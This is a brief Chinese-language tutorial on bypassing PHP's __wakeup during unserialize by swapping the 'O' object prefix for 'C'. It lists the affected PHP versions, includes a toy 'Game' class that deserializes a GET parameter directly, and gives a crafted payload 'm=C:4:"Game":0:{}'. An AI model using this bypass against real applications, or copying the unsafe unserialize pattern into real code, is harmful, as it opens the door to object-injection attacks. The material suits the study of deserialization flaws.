php反序列化绕过__wakeup(O改为C)
先说下适用条件:
PHP版本:7.0.15 - 7.0.33, 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.28, 7.4.0 - 7.4.16, 8.0.0 - 8.0.3。
变量的初始化不在__construct里,而是在外面进行赋值,如下一样。(construct里面再次对需要用的变量赋值也不会影响。)
<?php
class Game{
public $start = True;
public function __construct()
{
}
public function __destruct(){
if($this->start === True){
echo "You Win!!!!!!";
}
else
{
echo "Loser!!!!!!!!";
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['m'])){
unserialize($_GET['m']);
}else{
highlight_file(__FILE__);
}
?>
正常序列化后:
m=O:4:"Game":1:{s:5:"start";i:1;}
修改后我们的payload如下:
m=C:4:"Game":0:{}
参考文章:
https://bugs.php.net/bug.php?id=81151
https://bugs.php.net/bug.php?id=81153